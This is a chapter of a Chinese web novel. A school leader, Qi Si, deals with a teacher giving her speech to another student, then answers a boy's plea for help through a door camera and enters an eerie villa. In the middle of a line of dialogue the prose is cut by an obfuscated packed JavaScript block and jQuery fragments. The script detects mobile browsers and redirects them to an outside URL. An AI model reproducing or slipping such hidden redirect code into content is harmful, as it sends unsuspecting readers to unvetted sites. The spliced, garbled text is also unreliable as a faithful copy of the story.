连续三天,齐思没有在小区里随机刷新出路声的实体。
路过808门口,监控会突然响起路声的声音,齐思保持无视,甚至戴上耳机刷听力。
星期五中午,她按照约定时间去团委办公室,找李老师交发言稿。
办公室的门开了一道缝。
齐思正准备抬手敲门,听见李老师的声音从缝里传出来。
“乐乐,等会儿齐思把稿子送过来,你拿回去重新誊抄一遍,下周一交过来啦。”
“李老师,您说让我和齐思同学共同完成演讲稿。”
李老师压低声音道:“你刚出院,需要多注意,哪里费神费心写稿子呢,乐乐放心,我会跟校长说稿子是你一个人完成的。”
“李老师,如果您让我窃取齐思同学的劳动成果,这怎么可以……”
脚步声响起,齐思迅速后撤。
等辛乐开门从团委办公室里面出来,她已经拉开十步远的距离。
“同学,你要出来吗?”齐思走上前,装作若无其事的样子,疑惑地问道。
“哦,我正准备出来。”辛乐侧开身,让她进门。
齐思抬手敲门,笑盈盈道:“李老师,我来交稿子了。”
“思思来啦。”李老师一改话语之中的轻蔑,热诚地接过稿子,先递上一小袋桃酥,单片装的,“我先看看。”
齐思也没客气,读书消耗脑力,当即撕开包装袋,小口吃起来。
“思思,你这版写得很不错。校长这两天出差,以防万一呢,你回去再准备一份演讲稿,优中择优,周一送过来。”
李老师从抽屉里抓出一把零食:“带回去慢慢吃啊,老师找同学有事,就不跟你细说啊。”
“谢谢李老师,那我先回去了。”齐思甜甜一笑,微微点头,揣着两兜子零食转身离开。
见辛乐望着她,齐思分了一半,递给她:“给你。”
辛乐脸上烧得面红耳赤,齐思帮她大忙,李老师还要她霸占齐思的稿子……
没来得及拒绝,齐思已经放进她手中:“我走啦。”
李老师见齐思离开,招呼辛乐进办公室:“乐乐,进来吧。你不要有心理负担,齐思同学为人很大方的。”
她见辛乐还是不肯答应,又道:“老师主要想完成你爸爸妈妈交代的任务,你说呢?”
李老师搬出父母,辛乐仿佛又听见两人的责备声,弱弱回道:“我知道了。”
李老师笑道:“拿回去写吧。”
辛乐拾起演讲稿,小跑出办公室。
同办公室的老教师放下茶杯,委婉提醒李老师:“小李啊,齐思可是江主任看着长大的孩子,不要厚此薄彼。”
李老师皮笑肉不笑道:“辛局长特意嘱咐我,要多多关照辛乐,我也没办法的呀。”
老教师轻轻抿了一口茶,没再说话。
辛乐紧赶慢赶地追上齐思,腹部伤口隐隐作痛。
“齐会长。”
齐思回头见辛乐脸色苍白,扶着她到楼层转角的长椅坐下:“坐下慢慢说。”
“我。”辛乐急得说不出话,她不知道怎么张嘴。
齐思目光扫过她手中稿子,柔声道:“演讲稿有问题吗?”
辛乐道:“不是,李老师把你的稿子给了我,我想告诉你。”
“那你拿着好啦。”齐思从裤兜里摸出小包餐巾纸,抽出一张,擦去辛乐额头上的汗珠。
辛乐闻到一股清新香甜的味道,目光越过宽大的校服衣袖,窥见齐会长黑框眼镜底下,眼眸揉碎了灿烂星河,熠熠生辉。
齐会长帮她擦汗的动作轻柔,唇角微扬,温柔至极。
“同学,快上课了,需要我扶你回教室吗?”
辛乐从温柔乡中回神,连忙道:“谢谢,我自己回去就好了,齐会长快去上课吧。”
“那我走啦。”齐思起身朝她挥了挥手,转身时,高高束起的马尾随风而动。
心脏狂跳不止,辛乐捂着发烫的脸颊,齐会长果真如传闻一样,是成才中学最温柔的学姐。
上课铃声敲醒辛乐,她忘记要齐思的联系方式了!
也不知道声哥出了什么事,一直没回消息,关涛和千瑞也联系不上他。
他到底有没有要到齐会长的联系方式?
午休之前,辛乐坐不住,跑到高二(一)班门口找人。
一位同学恰巧出来,回道:“齐思有事请假回家了,你下周一再来找她吧。”
南中校门对过停着一辆别克世纪。
街边商户敲车窗问司机:“师傅,啥时候走?等会儿学生放学,我们要摆摊做生意了。”
“一会儿就走,不当误你做生意。”
司机透过后视镜,观察后排座位上两人,而他们俩正望着车窗外。
远方学校的小广场。
哭闹的家长和孩子,受害者父母与加害者父母互相撕扯,满头大汗的老师忙着拉架,警察在外围维持秩序……还有西装革履、低头看手表的律师。
一对兄妹站在教学楼二层,看向车上的两人。
四人隔空相望。
傅芯声线颤抖,下意识握住傅则的衣袖:“哥,他们一定要赶尽杀绝吗?”
傅则安慰道:“哥保证,你不会有事。”
即使隔着百米距离,豪车上的锐利目光仍在傅芯脸上戳出洞,她嘴角挤出一抹勉强的笑,低声道:“哥,筱筱的死跟我没关系,是她自己心理脆弱,受不了打击自杀。”
舒阳文朝两人举起茶杯,隔空做了一个碰杯的动作,继而挑衅地将杯中茶水倒在地上。
傅则冷脸拉傅芯离开,齐思收回视线,低头在平板上选取一行表格,添加横杠:“如果她安静本分,那她最好永远生活在恐惧里。”
混乱的人群互相推搡,最后坐上警车。
律师冲舒阳文微微点头,表示事情办妥。
舒阳文升起车窗:“狐狸总会露出尾巴,我们回去接童童。路声这几天没找你麻烦吧。”
“没见到他人,可能被父母关在家里闭门思过吧。”齐思合上平板。
—
夜幕降临,走廊灯光随着来人脚步节节亮起。
808门口的监控骤然亮起蓝光。
“思思,你放学了。”
难得有好心情,齐思仰头望向监控:“你的声音,听起来有气无力,你生病了?”
三天来,她第一次回应路声。
“思思,我被关起来了。”
齐思鼓掌道:“叔叔阿姨终于抽出空教育你,可喜可贺啊,要不要帮你放一串鞭炮?”
“这里好黑,我害怕。”
“你有害怕的时候?”
“他们不给我吃,不给我喝,把我关在小黑屋里。思思,来救我吧。”
求救声中没有丝毫的惧怕,路声鬼话连篇,兴许又在拿她当乐子戏耍。
齐思靠在身后的墙上,双手抱胸:“你怎么不联系千瑞和于涛救你?我跟你不熟哦。”
“他们没收了我的手机,这一部平板上只有单机游戏和监控软件,现在,我只能联系上你。”
“我为什么要救你?”
“只有你能救我。”
“哦,那你在哪呢?”齐思开始翻找书包里的钥匙。
“湖心岛上的独栋别墅。”
“我会帮你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448014|185180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报警。”齐思摸到了小熊猫挂件,连带翻出钥匙。
“思思,如果我死了,你会难过吗?”
监控上的□□熄灭,路声的声音戛然而止。
齐思拧钥匙的手一顿,不由得思考路声那番话的真实性。
他的声音,虚弱无力……
正常家长不会因为孩子犯错,采用连续关小黑屋的行为教育孩子。
或许,他没有说谎。
“同学。”
齐思侧眸,来人她见过,前两天在808门口看工人安装监控的西装大叔。
她握住门把手:“有什么事吗?”
西装大叔眉头紧锁,整个人透露着一种无法用语言描述的焦虑:“同学有没有见过我们家少爷,他住在你隔壁808,跟你一样,是成才中学高中部的学生,个子一米九……”
着急的模样不像作假,齐思耐心地听他说完,问道:“你和路声什么关系?”
“我是他的管家,姓千,我现在非常着急,请问你有没有见过他?”
“怎么证明你是路声的管家?”
“我儿子千瑞和路声一起上学。”
“稍等我五分钟。”
千管家刚打通千瑞的电话,准备询问他是否认识809的住户。
齐思换了一身运动服,背着小书包出来,自来熟地改了称呼:“千叔,请你给千瑞打视频电话,我需要确认你的身份。”
千管家的手机通话恰好接通,千瑞听见齐思的那句话,开口道:“齐思,他是我爸。”
“那我们走吧,去找路声。”
“声哥怎么了?”
千瑞在手机那头着急,千管家挂断的电话,激动地拉住齐思:“您知道少爷在哪?”
齐思抬手指向监控:“路声自己说的。”
两人一路狂奔来到湖心岛。
“少爷在这里!”
光线暗淡,齐思没注意到千管家面色的古怪。
“千叔,不开门吗?”
千管家打开电子锁锁盖,脸色微变:“电闸果然关了。”
“那就翻进去。”齐思开始翻栏杆,见千管家杵在原地,“千叔,还不走吗?你家少爷,好像晕过去了。”
等两人翻进院子,大门紧闭。
手电筒照在窗户玻璃上,齐思愣住了。
窗户背后是水泥砌成的墙。
不是,豪门父母教训儿子,用得着把儿子封在水泥里?
“找人砸墙?”齐思提出切实可行的计划。
千总管却朝她招手,带着她来到一处窗户底下:“这上面的窗户没锁,你踩着我上去。”
封楼下却不封楼上?什么道理?
路声为什么不在二楼招手呼救,外面会有巡逻的安保,看得见这扇窗户。
哦对了,他说被关在小黑屋里,那是打不开房门么。
齐思戳着满肚子疑惑照做,够着窗台边缘,踩住墙体突出部分,一手推开窗户,狼狈地栽到房间地毯上。
“千叔,你等我,我这就去开门。”
齐思按动开关,房间的灯没亮,真被千叔说中,电闸被人关了。
今天莫不是卷进豪门恩怨,见证新康集团继承人被囚禁……把消息卖给记者,妥妥新闻头条。
打着手电筒,拧开门锁,从房间里出去。
脑补的新闻头条被眼前场景暂停。
天花板上,密密麻麻贴着金箔做的金元宝,而墙壁壁纸全是黑、金色的宝莲花纹,重复统一的纹样……诡异又突兀,与窗外明亮的城市夜景,形成强烈的反差。
齐思头皮发麻,背后一阵胆寒,实在没忍住,骂了一句:“草!”